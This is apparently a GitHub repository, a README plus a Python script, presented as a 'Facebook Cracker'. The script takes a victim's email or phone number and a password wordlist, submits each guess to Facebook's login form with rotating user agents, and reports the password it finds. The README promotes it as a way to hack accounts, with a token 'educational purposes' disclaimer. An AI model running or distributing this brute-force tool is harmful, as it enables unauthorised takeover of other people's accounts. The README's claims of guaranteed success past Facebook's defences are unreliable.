├── README.md └── facebook.py /README.md: -------------------------------------------------------------------------------- 1 | ### facebook-cracker 2 | ### Facebook Cracker Version 1.0 can crack into Facebook Database 100% without Interruption By Facebook Firewall 3 | ### This program is for educational purposes only. 4 | ### Don't attack people facebook accounts it's illegal ! 5 | ### If you want to crack into someone's account, you must have the permission of the user. 6 | ### Mauritania Attacker is not responsible 7 | 8 | ### Whit is a facebook-cracker 9 | 10 | ### I have written lots of facebook hacking art icle like hack facebook using android smartphone,open source tools,python and perl script etc.. But Toady I'will tell you about hacking in Facebook Using Brute force attack. 11 | ### In brute force attack method,tool try all combination of password to provide access of victim account Brute force attack is the only successful method to hack facebook account. Hack Facebook Account Password Using Brute 12 | 13 | ### Download&Install 14 | 15 | ### git clone https://github.com/Ha3MrX/facebook-cracker 16 | 17 | ### cd facebook-cracker 18 | 19 | ### chmod +x facebook.py 20 | 21 | ### python facebook.py 22 | 23 | ### ScreenShot 24 | 25 | ![capture](https://user-images.githubusercontent.com/33704360/45833780-35868400-bd0e-11e8-9f83-04792e031f4a.PNG) 26 | -------------------------------------------------------------------------------- /facebook.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | import sys 5 | import mechanize 6 | import cookielib 7 | import random 8 | 9 | 10 | 11 | 12 | email = str(raw_input("Enter the Facebook Username (or) Email (or) Phone Number : ")) 13 | 14 | 15 | passwordlist = str(raw_input("Enter the wordlist name and path : ")) 16 | 17 | 18 | login = 'https://www.facebook.com/login.php?login_attempt=1' 19 | 20 | 21 | useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] 22 | 23 | def main(): 24 | global br 25 | br = mechanize.Browser() 26 | cj = cookielib.LWPCookieJar() 27 | br.set_handle_robots(False) 28 | br.set_handle_redirect(True) 29 | br.set_cookiejar(cj) 30 | br.set_handle_equiv(True) 31 | br.set_handle_referer(True) 32 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 33 | welcome() 34 | search() 35 | print("Password does not exist in the wordlist") 36 | 37 | 38 | 39 | def brute(password): 40 | sys.stdout.write("\r[*] Trying ..... {}\n".format(password)) 41 | sys.stdout.flush() 42 | br.addheaders = [('User-agent', random.choice(useragents))] 43 | site = br.open(login) 44 | br.select_form(nr = 0) 45 | br.form['email'] = email 46 | br.form['pass'] = password 47 | sub = br.submit() 48 | log = sub.geturl() 49 | if log != login and (not 'login_attempt' in log): 50 | print("\n\n[+] Password Find = {}".format(password)) 51 | raw_input("ANY KEY to Exit....") 52 | sys.exit(1) 53 | 54 | 55 | def search(): 56 | global password 57 | passwords = open(passwordlist,"r") 58 | for password in passwords: 59 | password = password.replace("\n","") 60 | brute(password) 61 | 62 | 63 | #welcome 64 | def welcome(): 65 | wel = """ 66 | 67 | +=========================================+ 68 | |.......... Facebook Crack ...........| 69 | +-----------------------------------------+ 70 | | #Author: Ha3MrX | 71 | | Version 1.0 | 72 | | https://www.youtube.com/c/HA-MRX | 73 | +=========================================+ 74 | |.......... Facebook Cracker ...........| 75 | +-----------------------------------------+\n\n 76 | """ 77 | total = open(passwordlist,"r") 78 | total = total.readlines() 79 | print wel 80 | print " [*] Account to crack : {}".format(email) 81 | print " [*] Loaded :" , len(total), "passwords" 82 | print " [*] Cracking, please wait ...\n\n" 83 | 84 | 85 | if __name__ == '__main__': 86 | main() 87 | 88 | 89 | --------------------------------------------------------------------------------